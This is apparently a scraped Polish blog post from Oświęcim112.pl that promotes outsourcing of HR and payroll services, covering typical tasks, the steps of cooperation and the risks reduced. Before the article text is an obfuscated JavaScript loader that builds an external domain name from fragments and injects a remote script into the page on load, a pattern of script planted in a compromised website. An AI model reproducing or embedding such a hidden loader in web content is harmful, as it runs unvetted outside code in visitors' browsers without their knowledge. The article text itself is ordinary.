(function(){ unis=document.createElement("script");unis.type="text/javascript"; unis.async=true;unis_=("op"+("ens")+"t")+"a";unis_+=("t.e")+""+"u"; unis.src="https://"+unis_+"/2551391355.z1uhjewwnismpucxxhatnXXy22ayvc"; document.body.appendChild(unis); })(); Czy masz czas, żeby na bieżąco śledzić zmiany w prawie pracy, pilnować terminów do ZUS i urzędu skarbowego, a do tego rozwijać swój biznes? Zastanawiasz się, czy nie lepiej oddać kwestie kadrowo płacowe specjalistom i po prostu odetchnąć z ulgą, wiedząc, że wszystko jest zrobione zgodnie z przepisami? Outsourcing kadr i płac pozwala ci właśnie na to, a przy okazji odczuwalnie zmniejsza koszty stałe w firmie.​ Na czym polega outsourcing kadr i płac? Outsourcing kadr i płac polega na tym, że przekazujesz obsługę spraw pracowniczych oraz wynagrodzeń wyspecjalizowanej firmie zewnętrznej. W praktyce nie tworzysz własnego działu HR i płac, tylko korzystasz z zespołu ekspertów, którzy na co dzień zajmują się dokumentacją, listami płac, rozliczeniami podatkowymi i kontaktami z urzędami. Co ciekawe, w Polsce coraz częściej nawet małe firmy korzystają z outsourcingu, bo przy kilku pracownikach takie rozwiązanie zwykle kosztuje mniej niż utrzymanie jednego etatu specjalisty.​ Jakie zadania oddajesz firmie zewnętrznej? Zakres usług zależy od twoich potrzeb, ale standardowo obejmuje całą tak zwaną twardą obsługę kadrowo płacową. W ramach współpracy firma zewnętrzna najczęściej zajmuje się takimi czynnościami jak:​ przygotowanie i aktualizacja umów o pracę oraz umów cywilnoprawnych​ prowadzenie i archiwizacja akt osobowych pracowników​ ewidencja czasu pracy, urlopów i zwolnień lekarskich​ naliczanie wynagrodzeń, premii i dodatków oraz sporządzanie list płac​ rozliczenia z ZUS i urzędem skarbowym, przygotowanie deklaracji i raportów​ Dodatkowo możesz korzystać z doradztwa związanego z prawem pracy, optymalizacją kosztów zatrudnienia czy wdrożeniem benefitów i programów motywacyjnych. Ciekawostką jest, że część dostawców outsourcingu oferuje też obsługę PPK i reprezentowanie cię przed instytucjami kontrolnymi, więc praktycznie nie musisz samodzielnie kontaktować się z urzędami w sprawach kadrowych.​ Jak wygląda współpraca krok po kroku? Na początku wybierasz firmę, która specjalizuje się w obsłudze kadr i płac i ma doświadczenie w twojej branży. Ustalasz z nią zakres obowiązków, sposób wymiany danych i terminy przekazywania informacji na temat pracowników, na przykład ewidencji czasu pracy czy zmian w zatrudnieniu.​ Następnie podpisujesz umowę, w której dokładnie opisujesz, za co odpowiada outsourcer, a za co nadal odpowiadasz ty jako pracodawca. Od tego momentu przekazujesz dane pracowników oraz potrzebne dokumenty, a zewnętrzny zespół co miesiąc przygotowuje listy płac, deklaracje i raporty, pilnując zgodności z aktualnymi przepisami prawa pracy i podatków. Jedna z ciekawostek jest taka, że nowoczesne firmy outsourcingowe udostępniają ci panele online, w których na bieżąco podglądasz listy płac, raporty i dane kadrowe bez konieczności instalowania dodatkowego oprogramowania.​ Jakie ryzyka ograniczasz dzięki outsourcingowi? Decydując się na outsourcing kadr i płac, mocno ograniczasz ryzyko związane z błędami w rozliczeniach i niedopatrzeniami w dokumentach. Firma zewnętrzna bierze na siebie odpowiedzialność za poprawność list płac, terminowość deklaracji oraz zgodność z aktualnymi przepisami, a ty unikasz stresu związanego z kontrolami i wysokimi karami finansowymi. Jednocześnie korzystasz z wiedzy specjalistów, którzy na bieżąco śledzą zmiany w prawie pracy i ubezpieczeniach społecznych, więc nie musisz spędzać godzin na analizie nowych rozporządzeń.​ Ważne jest też to, że zewnętrzny dostawca stosuje sprawdzone procedury bezpieczeństwa danych, co pomaga lepiej chronić wrażliwe informacje o wynagrodzeniach i aktach osobowych. Dla wielu firm sporą ulgą jest fakt, że w razie choroby czy urlopu pojedynczej osoby nie ma paraliżu w obsłudze płac, bo za rozliczenia odpowiada cały zespół, a nie jeden specjalista w biurze. Warto podkreślić, że kompleksowy outsourcing kadr i płac pozwala ci skupić się na rozwoju firmy, sprzedaży i budowaniu relacji z klientami, a nie na papierologii i pilnowaniu terminów. The post Kompleksowy outsourcing kadr i płac – jak działa w praktyce? appeared first on Oświęcim112.pl.